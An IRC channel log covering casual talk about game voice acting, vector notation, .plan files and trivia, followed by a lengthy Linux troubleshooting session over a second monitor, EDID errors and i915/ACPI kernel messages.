20:02:41 <Vorpal> Phantom_Hoover, a lot of the non-star-actor voicing lacks emotion for example. And several voices are reused too much. I'm pretty sure Clavicus (sp?) Vile was Mercer Frey for example.
20:03:06 -!- MoALTz has quit (Ping timeout: 260 seconds).
20:03:18 <Phantom_Hoover> Mercer's the same guy as Belethor, Enzir and many others, IIRC.
20:03:32 <Vorpal> Phantom_Hoover, and he has a very distinctive accent.
20:04:18 <Vorpal> I'm not saying voice actors shouldn't be reused. They must be for budget reasons, but at least make the separate instances sound different enough. Some voice actors can pull that off. Some just sound too unique.
20:05:22 <Vorpal> Phantom_Hoover, also I wonder how many people voice acted the guards. I'm guessing like two persons of each gender or some such.
20:05:31 <ais523> btw, the GitHub hack is hilarious
20:05:43 <Vorpal> sure I realise you can't make every guard sound unique, but a bit more variation would have been nice.
20:05:53 <ais523> it seems that Rails has a feature that's suspiciously like register_globals
20:06:08 <ais523> and GitHub were using it without proper security checks
20:06:13 <Vorpal> and no I'm not talking about arrow in knee (though actually it is far less annoying than the "mudcrabs" discussions of oblivion)
20:06:34 <fizzie> Speech synthesis + randomized voice parameters == unique voices to all.
20:06:44 <Vorpal> fizzie, will they should as good though?
20:06:56 <fizzie> No, but that's the price you pay.
20:07:25 <Vorpal> btw, there witcher 2 stands out. Really awesome voice acting.
20:07:39 <fizzie> Set of recorded voices + slight tweaking can move the "amount of variation" / "natural-sounding speech" boundary around.
20:07:55 <Vorpal> fizzie, so sampling basically?
20:08:20 <Vorpal> hm couldn't that work, sampling on the word or phrase level?
20:08:51 <fizzie> Not unless you want people to sound quite multiple-personality-disordery.
20:08:52 <Jafet> It works when you produce a synthesizer that works
20:09:04 <fizzie> Of course it's nontrivial to do the right sort of tweaking without having a human present.
20:09:46 <fizzie> GlaDOS' voice is a good example of "start with a human, tweak for style" voice, even if the goal there is not to make another (but different) human voice.
20:10:16 <Vorpal> anyway I would strongly recommend Witcher 2 as one of the best modern RPGs out there, if you are grown up. I wouldn't recommend it to anyone under age. Because it is rated Mature for a reason.
20:10:41 <Jafet> Any voice, facial, hair or cloth synthesis in a video game is going to suck for the next few decades
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20:11:03 <Jafet> It's cool to push the boundaries, but that's the truth
20:11:07 <Vorpal> Jafet, not sure about cloth actually. Hair yes.
20:11:28 <fizzie> Anyway, you can do transformations to voices. If they're slight enough, they might not sound too bad. Of course it's then arguable whether it adds enough variation to be worth it, since you might still be able to recognize that there's just very few actual speakers.
20:11:37 <Vorpal> that is maybe the weakest point of Witcher 2, the hair, but even then the hair in that game looks better than in most other games.
20:12:34 <Jafet> The real test is when you compare a game to the games five years *after* it
20:12:44 <Jafet> If nothing's changed, then your synthesis is real
20:13:09 <Jafet> Eg. vehicles now enjoy this status
20:13:53 <Vorpal> Jafet, the "game" mechanics of flight sims are also good enough to not change much any more.
20:14:51 <Vorpal> Jafet, as for face, I guess LA Noir doesn't count, since it isn't actually synthesis?
20:15:00 <Jafet> You'll see in five years.
20:15:08 <Vorpal> Jafet, it uses face scanning
20:15:23 <Vorpal> haven't played it myself
20:15:37 <Jafet> I'm still sure it's going to look bad in five years.
20:15:40 <Vorpal> Anyway, clothing in Witcher 2 looks awesome. Mostly it is armour though, but quite a lot of leather or other light armour, and dresses and such does seem to behave naturally.
20:15:50 <Vorpal> if that is what you meant with cloth synthesis
20:17:16 <Jafet> It was shorter than typing "voice synthesis and cloth animation"
20:17:33 <Vorpal> Jafet, cloth animation would be involved in dresses though
20:18:59 <Jafet> Cloth animation is a classic hard problem. Most games simplify it by having really coarse physics modelling or connecting canned animations
20:19:25 <Jafet> Sometimes it looks smooth enough that you don't notice it's fake, and I think that's the best you can achieve these days
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20:23:50 -!- Taneb has joined.
20:23:59 <Taneb> Is ℒ meta-turing complete?
20:25:57 -!- Jafet has quit (Quit: Leaving.).
20:39:01 <fizzie> Was this "ntnu.no" oerjan's sorta-place, or how was it?
20:41:17 <fizzie> Lastlog suggests it was.
20:41:46 <olsner> yes, some kind of norwegian university-ish thing, presumably
20:45:21 <Friendship> Taneb: Whether it is TC or not is a philosophical question, but adding "meta" doesn't make it suddenly make sense.
20:45:33 <Taneb> http://esolangs.org/wiki/Meta_Turing-complete
20:46:43 <fizzie> Anyway, random googling hit a ntnu.no url of a (very short and detail-less) paper on "Voice transformation and speech synthesis for video games" from GDC 2008. It speaks of the sort of thing where you have a single recorded voice and it is transformed to generate multiple people.
20:49:10 <Taneb> He's probably asleep
20:49:38 <Friendship> Taneb: So yeah, those two pages seem to be describing the same phenomenon.
20:50:03 <Taneb> Not quite, but Meta Turing-Complete is a superset of Fancy L?
20:50:20 <olsner> meta turing complete looks like nonsense to me
20:50:34 <Taneb> Consider that ALPACA can describe many CA's, but a theoretical Fancy L could only describe one
20:51:08 <Friendship> Taneb: That's just what ℒ means, ℒ-hard seems to be equivalent to metaTC.
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21:13:22 <Phantom_Hoover> <Friendship> Taneb: Whether it is TC or not is a philosophical question, but adding "meta" doesn't make it suddenly make sense.
21:14:27 <Taneb> We need to ASK THE GHOST OF ALAN TURING
21:14:43 <Phantom_Hoover> <Vorpal> anyway I would strongly recommend Witcher 2 as one of the best modern RPGs out there, if you are grown up. I wouldn't recommend it to anyone under age. Because it is rated Mature for a reason.
21:14:52 <olsner> Taneb: you mean the META-GHOST of ALAN META-TURING?
21:15:09 <Taneb> I never meta ghost
21:15:10 <Phantom_Hoover> You mean the really immature sex stuff made by and for 13-year-olds?
21:17:19 <Phantom_Hoover> Huh, Skyrim /has/ a disposition system, it just never /uses/ it.
21:19:07 -!- invex has changed nick to PiRSquared.
21:19:21 <Vorpal> <Phantom_Hoover> Huh, Skyrim /has/ a disposition system, it just never /uses/ it. <-- wow
21:19:44 <Taneb> Come one, Vorpal. He just said that.
21:19:45 <Vorpal> <Phantom_Hoover> You mean the really immature sex stuff made by and for 13-year-olds? <-- hm, yes there is a bit of that. But there are actually some real mature stuff as well.
21:20:21 <Phantom_Hoover> The disposition system for marriage is such that there's a woman in Whiterun who'll marry you immediately after you beat her in a fistfight.
21:28:04 <Phantom_Hoover> (Also I find the entire marriage system in Skyrim to be the funniest thing in the game; it's so ridiculous.)
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21:37:12 <fizzie> He looks like an axe murderer to me.
21:38:03 <fizzie> Phantom_Hoover: I thought it may, but wasn't sure enough to s///.
21:38:51 <fizzie> His hand appears to have slightly melted into the clothing, too.
21:39:11 <Phantom_Hoover> The dialogue with him is along the lines of "So, you want to get married? Well, everyone in Skyrim is too busy getting eaten by the fauna to talk to their prospective spouse, so you'll need a Marriage Thing. By the way, I happen to have a very nice Marriage Thing with me!"
21:43:55 * Phantom_Hoover reads [[Caster Semenya]], notes the gem "The federation also explained that the motivation for the test was not suspected cheating but a desire to determine whether she had a "rare medical condition" giving her an unfair competitive advantage."
21:44:10 <Phantom_Hoover> WELL WE CAN'T HAVE ANYONE'S INHERENT ABILITY GIVING THEM AN UNFAIR ADVANTAGE NOW
21:45:59 <zzo38> Do you have a .plan file on any accounts anywhere?
21:51:11 <Vorpal> <Phantom_Hoover> He then charges you 200 moneys for a Marriage Thing. <-- septims
21:52:06 <ais523> Vorpal: you're missing the point of the placeholder
21:52:21 <ais523> it's not necessarily "I don't know what it's called", but "other people won't know what it's called"
21:52:26 <Vorpal> ais523, uh, I was correcting "moneys"
21:52:33 <ais523> Vorpal: it's a placholder
21:52:39 <ais523> to make the sentence more legible
21:52:47 <Vorpal> ais523, so "currency units (septims)"
21:53:20 <Vorpal> and "Marriage Thing" is "Amulet of Mara" I /think/
21:54:16 <fizzie> I had a .plan file in some earlier home Linux box.
21:54:47 <fizzie> And maybe I have a .plan at the university's general-purpose shell home directory? Though I have a feeling they wiped those out at some point.
21:55:19 <fizzie> Oh, I still have a .plan file there.
21:55:22 <fizzie> vipunen ~ 53 % cat .plan
21:55:22 <fizzie> >#v1&#:<-1<-1\0\_.@ use email
21:55:22 <fizzie> >2-!#v_:2\^fibre^-< to connect.
21:55:32 <fizzie> It's even channel-appropriate.
21:55:47 <fizzie> Sadly, I don't think anyone has ever asked me about the meaning of the .plan.
21:56:26 <zzo38> I have an account on the Free Geek computers, so I have a .plan file there. It contains information about which days I am in.
21:56:52 <fizzie> The finger server even returns the plan, I was wondering if they had given up on that.
21:57:03 <fizzie> I don't think we have a publicly approachable finger server, though.
21:57:46 <fizzie> It's a file in your home directory that a finger server includes in the finger output.
21:57:52 <zzo38> Someone has said that "Which constellation on the ecliptic is an astrological sign not named after?" should be a question in Trivial Pursuit, after we have discussed a few things. Do you think so?
21:57:58 <fizzie> Typically a multi-line one; while a .project is a single-line variant.
21:58:12 <fizzie> You're supposed to set them so that people fingering you can know roughly what you're working on.
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21:58:30 <zzo38> The Free Geek Vancouver also has no public accessible anything in the user accounts, as far as I know.
21:59:26 <fizzie> <mooz> slaves to armok programmer's .plan is ~1000 lines long
22:00:22 <ais523> zzo38: /all/ the constellations in the ecliptic, there's an astrological sign not named after that constellation
22:00:26 <zzo38> fizzie: I think that is far longer than a .plan file ought to be; it should never be more than twenty lines in my opinion (although probably less)
22:00:27 <ais523> at least 11 of them, in fact
22:00:53 <fizzie> Also "what is a .plan file" was apparently taught at our "computer as a tool" (the mandatory introduction-to-the-university's-system) course.
22:00:54 <zzo38> ais523: Maybe I should rephrase the question, it isn't very good
22:01:05 <fizzie> (I'm grepping old logs to find out if anyone has asked me about the .plan above.
22:01:40 <fizzie> Apparently it was even one exercise on that course, to make a .plan file for yourself.
22:02:06 <zzo38> ais523: Do you know a better way to rephrase the question?
22:02:40 <fizzie> I see someone else's plan has been "Doing my best to become the fastest wank^H^H^H^Htyper."
22:02:46 <ais523> "which constellation on the ecliptic does not have an astrological sign named after it?"
22:03:22 <zzo38> ais523: Yes, that is better.
22:03:31 <fizzie> (xlock also (at least with some versions/settings/etc.) shows the locked user's .plan under the user name.)
22:03:39 <Phantom_Hoover> <Vorpal> and "Marriage Thing" is "Amulet of Mara" I /think/
22:03:46 <zzo38> [1] Do you think it would be a good question for Trivial Pursuit? [2] Do you know the answer?
22:04:21 <ais523> [1] probably not, there are probably minor constellations on the ecliptic that don't have names; [2] no
22:05:12 <zzo38> ais523: I think all constellations have names because the IAU defined all areas of the celestial sphere as belonging to one of 88 Latin constellations.
22:05:33 <zzo38> (They are useful for naming stars and for identifying stars)
22:06:21 <zzo38> See if anyone else in here knows the answer
22:10:23 <zzo38> There are other people who have accounts at Free Geek Vancouver, but as far as I know none of them have a .plan file.
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22:12:43 <fizzie> I did not know the answer, but now I do; still, it's slightly obscure for Trivial Pursuit, maybe? Then again, I'm no trivia game designer, and certainly it's got questions of various difficulties.
22:13:38 <zzo38> I want a more obscure trivia game anyways
22:15:32 <zzo38> Another thing: Two astrological signs are named after constellations which have slightly different names than the astrological signs named after them (I don't know if it was always the case). Do you know which two? (Hint: One of them is an astrological sign which one of the tropics is named after and corresponds to.)
22:15:48 <Vorpal> zzo38, wouldn't sell to the "masses"
22:18:02 <zzo38> Vorpal: I suppose you are correct; but you could still make minor selling things, there are such service to sell such games with actual cards. You could also make them as data files in computer; actually I think they should include both so that you can write computer program with it and print out the cards yourself too
22:18:42 <Vorpal> oh you mean a physical game
22:18:53 <Vorpal> I was thinking game show
22:19:05 <Vorpal> still I don't think it is mainstream enough
22:19:10 <zzo38> Actually, I found something, you can sell with cards, dice, custom board, whatever. For computer file you can just type into the computer. For television, of course you need far more
22:20:56 <fizzie> I was going to say "Trivial Pursuit, which was mentioned, isn't a game show", but of course it has game show adaptations. Anyway, it's got all these different nonsense editions, though admittedly a bit more "mainstream" than astronomy/astrology. (Like, uh, the Star Wars Episode I edition.)
22:20:59 <Vorpal> zzo38, but sure, include questions like "what does the following 4x4 transformation matrix do"
22:21:07 <Vorpal> (okay that is even more niche)
22:21:30 <zzo38> Vorpal: Yes you can include stuff like that too if you want to
22:22:59 <Vorpal> is there a collective name for the vectors (1 0 0 1) (0 1 0 1) (0 0 1 1)? That is the unit vectors of 3D with a homogeneous coordinate added?
22:24:43 <fizzie> Perhaps they're called "the unit vectors of 3D with a homogenous coordinate added".
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22:25:56 <Vorpal> fizzie, that is rather long and unwieldy though
22:28:26 <ais523> they're just x̂, ŷ, ẑ in an xyzh coordinate system, aren't they?
22:28:38 <ais523> also, my IRC client renders those combined characters pretty badly
22:28:47 <Vorpal> ais523, uh is that how you write unit vectors? x with a ^ on top?
22:28:58 <Vorpal> I never seen that way to write unit vectors before
22:29:05 <ais523> it's what's taught in school in the UK
22:29:19 <ion> vorpal: How do you write unit vectors?
22:29:21 <ais523> ^ on top = unit vector, regardless of whether it's in an axis direction or not
22:29:58 <Vorpal> ion, e_1, e_2, ...., e_n (where _ is as in TeX) for (1 0 ...) (0 1 0 ...) ...
22:30:11 <fizzie> \hat{x} is I think vaguely common for the normalized x.
22:30:16 <Vorpal> that is what I have been taught
22:30:38 <fizzie> And I've seen the x-, y- and z-aligned unit vectors called \hat{i}, \hat{j} and \hat{k}.
22:30:40 <Vorpal> ion, had a German teacher though, so who knows (I live in Sweden)
22:31:10 <ais523> fizzie: oh, you're right
22:31:18 <Vorpal> Phantom_Hoover, no, the math teacher was from Germany
22:31:23 <Vorpal> he didn't teach German
22:31:30 <fizzie> "The notations , , , or , with or without hat/circumflex, are also used, particularly in contexts where i, j, k might lead to confusion with another quantity."
22:31:49 <Vorpal> Phantom_Hoover, he spoke pretty good Swedish though
22:32:03 <fizzie> Uh... that's hatted (x, y, z), (x_1, x_2, x_3), (e_x, e_y, e_z) and (e_1, e_2, e_3).
22:32:04 <Vorpal> I currently have a math teacher at university who is from China. And that guy doesn't speak very good Swedish.
22:32:09 <fizzie> From http://en.wikipedia.org/wiki/Unit_vector
22:32:15 <fizzie> So that's a total of five notations for them.
22:32:48 <fizzie> And then the versions without hats for those where it makes sense.
22:33:23 <Vorpal> fizzie, yeah I never seen the hat one
22:33:30 <Phantom_Hoover> In these parts we write vectors with squiggly lines underneath.
22:33:58 <Vorpal> Phantom_Hoover, I seen vectors done as straight underline, bold font and line just above the letter
22:34:02 <fizzie> The hat is a common notation for normalization, though; it's just that when speaking of the unit vectors, it's a bit superfluous.
22:34:12 <fizzie> Sometimes there's a small arrow above.
22:34:26 <Vorpal> fizzie, seen arrow below too
22:36:06 <Vorpal> Why are there so many ways to write the same thing in math?
22:36:13 <Vorpal> It just hinders communication
22:36:26 <Vorpal> and then there is the case of the same symbol being used for different things
22:36:40 <Vorpal> which at least make slightly more sense
22:36:40 <ais523> Vorpal: the two are probably connected, if you think about it
22:37:10 <Vorpal> ais523, hm? the two questions I raised? Or the two usages of the same symbol?
22:37:13 <Phantom_Hoover> Vorpal, surely it's obvious even to you why there are so many notations for vectors.
22:37:24 <zzo38> I think the idea of "homogeneous coordinates" is also a similar idea occurs in my system of "matrix accounting"?
22:37:41 <Vorpal> Phantom_Hoover, presumably different people preferred different notations and thus we got the confusing mess we are in now
22:37:43 <ais523> Vorpal: writing the same thing different ways, and same symbol used for different things
22:37:44 <Vorpal> which is not a very good reason
22:37:52 <ais523> you have to invent new notations on the fly to avoid clashes
22:38:41 <zzo38> But, I suppose, many things in mathematics can be found to have multiple applications possible
22:38:56 <Vorpal> ais523, so you are saying 5 different persons needed to come up with a notation for vectors? That is a lot of independent research around the same time finding the same concept then
22:39:45 <ais523> it's bad enough, in my field, that for the same notion, some people are using ⩽ for the same thing that other people are using ⩾ for
22:40:05 <ais523> Vorpal: and I'm saying that notation that avoids clashes for one person, will have clashes for someone else
22:40:14 <ais523> people who use vectors almost exclusively aren't going to want to write in arrows all the time
22:40:29 <ais523> but people who use both vectors and other things may need them to avoid clashes
22:40:52 <Vorpal> <ais523> it's bad enough, in my field, that for the same notion, some people are using ⩽ for the same thing that other people are using ⩾ for <-- wow
22:41:04 <Vorpal> <ais523> Vorpal: and I'm saying that notation that avoids clashes for one person, will have clashes for someone else <-- ah, right
22:41:15 <Phantom_Hoover> Vorpal, specifically, vectors are a very widespread and very old (by mathematical notational standards) concept.
22:41:28 <Phantom_Hoover> They have been independently invented and studied countless times.
22:41:57 <Phantom_Hoover> Each of those times resulted in a new notation which persisted in the work which inherited most directly from it, and over time they intermingled.
22:41:59 <Vorpal> Phantom_Hoover, but over time you would think some ways of writing them would die out and you would in the end be left with a single one
22:42:28 <ais523> actually, might have been ≤ and ≥, I can't remember
22:42:32 <Phantom_Hoover> No, because for all that intermingling the people using one notation don't interact that much with those using the other, and most are content to make do.
22:43:08 <Vorpal> ais523, isn't ≤ just a different way to write ⩽? Different stylizing I mean
22:43:15 <ais523> not always, but yes sometimes
22:43:29 <ais523> why do you think they have different Unicode codepoints?
22:43:37 <Vorpal> Phantom_Hoover, fair enough
22:44:18 <fizzie> What's the fourth one for (i, j, k)? Is it just l? Or do people just go with (e_1, e_2, e_3, e_4) when they need four? (For (x, y, z) I'd assume w.)
22:45:01 <ais523> it's got to be either l or h, I think
22:45:55 <Vorpal> ais523, btw you said xyzh for homogenus coordinate above, it is just that I seem to remember it being xyzw in some contexts (such as opengl)?
22:46:21 <ais523> opengl has sets of four arbitrary letters that it uses for coordinates without knowing what they mean
22:46:40 <ais523> actually, probably it's /actually/ GLSL
22:46:45 <ais523> I know too many GPU-related frameworks
22:46:53 <ais523> so you can address a vector as xyzw or as rgba, for instance
22:47:11 <ais523> there are a few other schemes, they had to use weird letters sometimes to avoid clashes
22:47:25 <Vorpal> ais523, um, opengl accpets xyzw, rgba, 0123, <something I forgot related to texture coordinates>A
22:47:59 <Vorpal> at least those are the four variants I know of
22:48:13 <Vorpal> and presumably the texcoord one is uv??
22:48:29 <fizzie> OpenGL texture coordinate function parameters are s, t, r, q.
22:48:44 <fizzie> Though normally people don't go beyond s, t.
22:48:48 <Vorpal> so why is it called uv-mapping?
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22:49:02 <fizzie> Because the coordinates are quite often also (u, v).
22:49:29 <fizzie> I don't know how they'd continue from (u, v) onwards though.
22:49:37 <Vorpal> sadly mixing them doesn't work. You can't do foo.xyb
22:50:00 <fizzie> For some reason I would have guessed (u, v, s, t), but I'm not sure if that happens anywhere.
22:50:11 <Vorpal> fizzie, well, why should they be in order, strq isn't
22:50:19 <Vorpal> rgba isn't either of course
22:50:32 <Vorpal> so yeah uvst would work
22:51:04 <fizzie> 'strq' isn't even in the '3412' order.
22:51:24 <fizzie> Maybe someone added 'r' first, and then had to add 'q' later.
22:51:46 <Vorpal> fizzie, they could go stuv
22:52:34 <Vorpal> fizzie, then you could claim "uv-mapping" originated in someone reading it in middle endian
22:52:50 <Vorpal> which would be an awesome way to confuse new students
22:53:21 <fizzie> I see "uvw mapping" is also a term that is used, in 3D modeling contexts.
22:54:54 <Vorpal> hm, minecraft with 3D textures and a way to cut blocks in any way you like, that sounds awesome
22:55:27 <Vorpal> not sure how you would handle grass though
22:56:28 <fizzie> It seems to be about just plain regular textures; not sure how it differs from UV mapping.
22:56:54 <fizzie> A Blender tutorial about it seems to be using UVW and UV quite interchangeably.
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22:58:30 <fizzie> (A "Blender tutorial" above meant "someone's unofficial tutorial that uses Blender", not "a tutorial that's part of the official Blender documentation".)
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22:59:17 <Vorpal> fizzie, hm 3D textures mostly seem to be used for clouds and similar
23:00:01 <kallisti> I'm trying to get my second monitor working.
23:00:17 <kallisti> at first it was freezing up my computer with kernel messges about an invalid EDID checksum or something
23:00:24 <kallisti> I switched to usermode mode setting
23:00:30 <kallisti> which allows me to connect the monitor
23:00:37 <kallisti> now the display resolution on my normal monitor is shit.
23:00:42 <Vorpal> kallisti, nvidia, amd or intel?
23:01:02 <Vorpal> kallisti, always worked for me in the gnome 2 monitor control panel
23:01:09 <Vorpal> never used anything else for it
23:01:38 <Vorpal> kallisti, pretty sure there is a tool in xfce too
23:01:41 <kallisti> lol noob. real linux users have horrible problems for very basic things that they have to spend hours fixing by hand.
23:01:44 <fizzie> xrandr's command-line tool is reasonably reasonable, and should be able to do everything.
23:02:07 <fizzie> And there's... I forget the name. It was gxrandr or some-such.
23:02:43 <Vorpal> å<kallisti> lol noob. real linux users have horrible problems for very basic things that they have to spend hours fixing by hand. <-- quite, I remember dealing with some old slackware on a 2.4 kernel
23:02:43 <fizzie> "xrandr -q" is a good first step to check that it sees the outputs correctly.
23:02:58 <kallisti> xrandr: Failed to get size of gamma for output default
23:03:24 <Vorpal> value for gamma I would understand
23:03:28 <fizzie> Possibly as in "float, int, or whatever".
23:03:44 <kallisti> $ xrandr -q |& sprunge http://sprunge.us/ecVe
23:03:59 <Vorpal> http://sprunge.us/WXgi <-- my xrandr -q, as a reference
23:04:05 <fizzie> Well, that's not good.
23:04:14 <fizzie> It's seeing only a single output.
23:04:17 <Vorpal> btw this only have LDVS, VGA and DP1 afaik
23:04:21 <Vorpal> the HDMI and DP2 are made up
23:04:26 <kallisti> it worked fine about a week ago in Ubuntu.
23:04:40 <Vorpal> kallisti, reboot to ubuntu and check
23:04:44 <Vorpal> kallisti, what distro are you on now
23:04:59 <kallisti> I guess I could try liveCD or something
23:05:03 <kallisti> but man that's going to take forever.
23:05:07 <fizzie> I was under the assumption that Intel drivers should do XRandR pretty well.
23:05:17 <kallisti> maybe I'm missing some drivers?
23:05:19 <Vorpal> kallisti, hm 1024x768... I guess that one is a 4:3 laptop?
23:05:52 <Vorpal> <kallisti> but man that's going to take forever. <-- how will a livecd take forever?
23:06:18 <kallisti> you must have amazing internet.
23:06:18 <Vorpal> and that is assuming a slow computer
23:06:30 <Vorpal> kallisti, oh I thought you had a copy locally
23:06:39 <Vorpal> then an hour or so to download it
23:06:40 <fizzie> I don't suppose there's any official "fn-f7"-style display-mangling key? (Alternatively, X startup logs about the video bits can also help.)
23:06:51 <kallisti> there is... but it doesn't work now.
23:06:52 <Vorpal> 5 minutes to copy to USB stick
23:07:01 <kallisti> it's some kind of software key.
23:07:37 <Vorpal> kallisti, the hw (computer or monitor) could have died, or you are now using a buggy version of the kernel
23:07:59 <kallisti> http://askubuntu.com/questions/14299/my-monitor-is-plugged-into-vga-0-why-it-is-giving-me-errors-about-vga-1
23:08:09 <kallisti> which says switch from kernel mode setting to user
23:08:54 <Vorpal> kallisti, that is for radeon, which is just crazy usually
23:09:53 <kallisti> I'm beginning to think that user mode setting is not the solution here though
23:10:04 <Vorpal> kallisti, anyway radeon /is/ crazy, I should know, though I use the catalyst driver
23:10:06 <fizzie> Vorpal: Hour? Downloaded ubuntu-11.10-desktop-amd64.iso the other day to test the internets; 6.7 MiB/s at home, a bit less than two minutes for the CD.
23:10:26 <Vorpal> fizzie, hm, how large is that image?
23:10:37 <Vorpal> I thought it was a full-sized CD...
23:10:50 <kallisti> what was the name of that graphical utility?
23:10:58 <Vorpal> hm must have been using bt to download it last time
23:10:59 <olsner> fizzie: that's like ... A HUNDRED SECONDS
23:11:02 <Vorpal> fizzie, and that took about an hour
23:11:07 <Vorpal> at least I know it wasn't corrupt
23:11:12 <fizzie> 730/6.7 is around 108.
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23:11:27 <kallisti> mine's estimated at around 50 minutes currently
23:11:35 <Vorpal> fizzie, oh you have 6.7 MiByte/s?
23:11:59 <kallisti> youtube has this fancy thing that compares your internet speed to everyone elses
23:12:29 <fizzie> olsner: Thankfully it was 78.7 MiB/s at work; so if I'm in a hurry and can't wait that two minutes, I can go there to download it. Shouldn't take more than a hour to get to work and back.
23:12:45 <olsner> kallisti: 50 minutes, for one cd? so you have about 1-1.5MBit then?
23:13:40 <Vorpal> olsner, how long would it take with a 300 baud modem (include protocol overhead, because it is going to be quite significant in absolute terms in this case I bet)
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23:14:00 <olsner> hmm, I don't think my office has gigabit internet, probably at most 100Mbit
23:14:48 <kallisti> I have no ethernet access at home currently
23:15:00 <Vorpal> I wouldn't survive that
23:15:11 <Vorpal> I use that for my laptop too
23:15:15 <olsner> Vorpal: 300 baud? depends on how many symbols you're using for the encoding
23:15:27 <Vorpal> because it is more stable, and faster when transferring between the desktop and laptop
23:15:48 <Vorpal> olsner, hm good point, what were the standard coding at the time those were modern?
23:15:58 <fizzie> Vorpal: I liked the 6.7 MiB/s home-speed especially since the contract is for 50 Mbps == 5.9 MiB/s.
23:16:41 <kallisti> hm, is it possible that I need some driver to get this monitor to work correctly?
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23:17:08 <Vorpal> kallisti, since it is intel graphics: no
23:17:16 <fizzie> The VDSL box reports it negotiates the link at around 76000kbps. I'm hoping nobody at the ISP is going to notice and downgrade it.
23:17:59 <kallisti> I saw something about i283 in it.
23:18:11 <Vorpal> kallisti, presumably the standard place?
23:18:19 <Vorpal> I doubt debian vs. ubuntu would change it
23:18:44 <kallisti> the messages that appear when Debian is starting up
23:18:54 <olsner> Vorpal: looks like some of the early modems were 300bit/s
23:18:56 <Vorpal> kallisti, not sure what you mean, not the kernel messages?
23:19:09 <olsner> (though I wonder why I'm looking this up on wikipedia for you)
23:19:29 <Vorpal> olsner, I'm conditioning you to become like fizzie
23:19:30 <fizzie> It's all dmesg up until the init.d scripts start.
23:19:51 <fizzie> Don't know where (or if) the initscript outputs go.
23:19:56 -!- itidus21 has quit (Ping timeout: 246 seconds).
23:20:12 <fizzie> They're not usually so interesting.
23:20:33 <olsner> Vorpal: google for 730MB / 300 bit/s now
23:20:34 <kallisti> this one went something like "failed to find i283 symbols. graphics turbo disabled" or something.
23:20:35 <Vorpal> I would see them just above my login prompt
23:20:40 <fizzie> I mean, even when they e.g. load modules, the interesting bits are the kernel messages from the modules.
23:20:53 <Vorpal> olsner, stop trying to condition me into using google!
23:21:19 <olsner> Vorpal: google for 730MB / 300 bit/s now
23:21:30 <Vorpal> (730 MB) / (300 (bit / s)) = 236.253235 days <-- nice though
23:21:53 <Vorpal> kallisti, Now 50 minutes doesn't seem that long does it?
23:21:53 <kallisti> [ 17.356635] intel ips 0000:00:1f.6: failed to get i915 symbols, graphics turbo disabled
23:21:56 <kallisti> [ 22.553315] intel ips 0000:00:1f.6: i915 driver attached, reenabling gpu turbo
23:22:05 <Vorpal> kallisti, stop whining you modern kids...
23:22:16 <fizzie> Doesn't look too problematic.
23:22:39 <fizzie> How about the Xorg.0.log's "intel" lines?
23:23:14 <fizzie> (And/or xrandr -q if you changeded something, I suppose.)
23:25:13 <kallisti> $ sudo find /var/log/ -exec grep i915 {} \; | sprunge http://sprunge.us/JZcU
23:27:25 <fizzie> Was this still without KMS?
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23:30:11 <fizzie> The ignored EDID blocks don't sound too scary. It's only every odd one, after all. But the X logs should list all (i.e. >1) detected outputs.
23:30:58 <kallisti> ...misread. uh, some of it is without KMS and some of it is
23:31:08 <kallisti> I only switched to no-KMS like 30 minutes ago maybe.
23:31:27 <kallisti> but with KMS it would spam invalid EDID messages and everything froze
23:31:33 <kallisti> until I disconnected the monitor.
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23:33:11 <kallisti> so the monitor is definitely sending incorrect information.
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23:35:01 <kallisti> I'm not entirely sure why I switched to Debian
23:35:04 <fizzie> It shouldn't really be actively sending anything, just when the card polls it. But I suppose it's possible for the KMS bits to get confused by EDID issues and keep asking.
23:35:32 <kallisti> I could have easily set up xmonad in Ubuntu, and kept all the fancy autoconfigure stuff.
23:37:00 <kallisti> unless the fancy autoconfig stuff is mostly GNOME
23:38:39 <fizzie> There's some amount of Ubuntu involved too, when it comes to drivers and settings and such. Anyhoo. Without KMS, tried plugging to monitor in and then restarting X and seeing if it even notices there's two outputs. (I suppose there's no xorg.conf to confuse matters?)
23:39:04 <kallisti> I haven't touched xorg.conf so, probably not.
23:39:21 <kallisti> ...restarting X would involve restarting firefox
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23:39:44 <kallisti> perhaps I should have set up screen with wget. :P
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23:41:51 <kallisti> hm, I could switch to bittorrent. :>
23:43:32 <fizzie> It's possible X might notice something new at startup time. Though I think "xrandr -q" itself should make it "rescan monitors".
23:44:37 <fizzie> "arandr" was the lightweight XRandR GUI, but it doesn't do anything magical.
23:45:34 <kallisti> screen session with rtorrent resuming where the direct download left off.
23:46:25 <fizzie> (The "ignoring invalid edid block" of every odd number just sounds like the monitor had all modes in two different formats, the correct one and (maybe for compatibility?) some funky one.)
23:48:38 <kallisti> no search seems to bring up any linux related issues specifically with the monitor.
23:49:25 <fizzie> Regarding your TURBO, "Note: If you have a first generation Core i{3,5,7} series processor with an integrated GPU, failure to add i915 to the MODULES array in /etc/mkinitcpio.conf will likely cause the error kernel: intel ips [...]: failed to get i915 symbols, graphics turbo disabled."
23:49:42 <fizzie> (The instruction was for Arch.)
23:50:13 <fizzie> Anyway, but it's probably that it doesn't have the i915 module available at that early time.
23:50:28 <kallisti> also I've been having issues with ACPI
23:50:38 <kallisti> my laptop won't suspend when I close the lid.
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23:51:14 <fizzie> Still, it doesn't sound like it should be a *fatal* error, and esp. not one that'd cause things to hang.
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23:53:06 <kallisti> [ 17.749133] ACPI: resource 0000:00:1f.3 [io 0x1840-0x185f] conflicts with ACPI region SMBI [io 0x1840-0x184f]
23:53:08 -!- blackwhit has left.
23:53:20 <kallisti> [ 17.749139] ACPI: If an ACPI driver is available for this device, you should use it instead of the native driver
23:53:55 <kallisti> I don't think there is one though... I wouldn't know what to look for.
23:54:41 <fizzie> You could lspci |grep 1f.3 to maybe at least see which device it's about.
23:55:38 <fizzie> I seem to recall encountering some dangerous-sounding ACPI resource conflict problems too, though I think that was just for hardware monitoring sensors.
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23:59:49 <fizzie> I would guesstimate it's about the same issue as https://bugzilla.kernel.org/show_bug.cgi?id=12376
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00:01:16 <fizzie> Repeating, just in case.
00:01:18 <fizzie> I would guesstimate it's about the same issue as https://bugzilla.kernel.org/show_bug.cgi?id=12376
00:01:59 <fizzie> Something about the system ACPI AML code actually using the smbus, so it doesn't like if some other driver would make use of it.
00:02:10 <fizzie> Anyone's guess what it's relevant to.
00:05:07 <kallisti> how can I tell which ACPI drivers are relevant to my laptop
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00:06:59 <kallisti> maybe I should update my kernel? :P
00:07:02 <fizzie> I would think in the general case hotplug and such would load all the necessary modules depending on what the ACPI information says.
00:07:30 <fizzie> That sounds quite new already.
